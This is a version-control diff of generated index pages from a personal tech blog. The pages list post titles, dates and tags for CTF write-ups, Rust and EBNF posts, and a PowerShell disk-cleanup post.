1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Edge cases? You Shall Not Pass!" href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><h2>Edge cases? You Shall Not Pass!</h2></a><time>Jun 3, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a>
<a class=post-link aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/></a></article><article><a aria-label="Edge cases? You Shall Not Pass!" href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><h2>Edge cases? You Shall Not Pass!</h2></a><time>Jun 3, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
@@ -48,8 +54,5 @@
<a class=post-link aria-label="Kringlecon 2023 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/></a></article><article><a aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><h2>Abstracting Structured Patterns in Concurrent Programming</h2></a><time>Dec 6, 2023 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
<a href=https://lavafroth.is-a.dev/tags/concurrency class=list-tag>Concurrency</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a class=post-link aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/></a></article><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><nav data-main><a href=../../page/2/>Previous Page</a>
<a href=../../page/4/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="Abstracting Structured Patterns in Concurrent Programming" href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/></a></article><nav data-main><a href=../../page/2/>Previous Page</a>
<a href=../../page/4/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,7 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><h2>Headache</h2></a><time>Sep 7, 2023 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a class=post-link aria-label=Headache href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/></a></article><article><a aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><h2>Compact XOR</h2></a><time>Aug 24, 2023 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a class=post-link aria-label="Compact XOR" href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/></a></article><article><a aria-label=Volcano href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><h2>Volcano</h2></a><time>Jul 21, 2023 | 13 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
@@ -40,11 +43,5 @@
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
<a href=https://lavafroth.is-a.dev/tags/wireshark class=list-tag>Wireshark</a>
<a class=post-link aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/></a></article><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a>
<a class=post-link aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/></a></article><nav data-main><a href=../../page/3/>Previous Page</a>
<a href=../../page/5/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="Kringlecon 2022 Writeup" href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/></a></article><nav data-main><a href=../../page/3/>Previous Page</a>
<a href=../../page/5/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,10 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Treebox href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><h2>Treebox</h2></a><time>Aug 19, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/google-ctf class=list-tag>Google CTF</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a>
<a class=post-link aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/></a></article><article><a aria-label=Treebox href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><h2>Treebox</h2></a><time>Aug 19, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/google-ctf class=list-tag>Google CTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/ast class=list-tag>AST</a>
@@ -35,10 +41,5 @@
<a href=https://lavafroth.is-a.dev/tags/forensics class=list-tag>Forensics</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/the-sleuth-kit class=list-tag>The Sleuth Kit</a>
<a class=post-link aria-label="Operation Oni, Operation Orchid" href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/></a></article><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
<a class=post-link aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/></a></article><nav data-main><a href=../../page/4/>Previous Page</a>
<a href=../../page/6/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="Operation Oni, Operation Orchid" href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/></a></article><nav data-main><a href=../../page/4/>Previous Page</a>
<a href=../../page/6/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,9 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><h2>Liberating 14GiB of disk space</h2></a><time>Feb 21, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
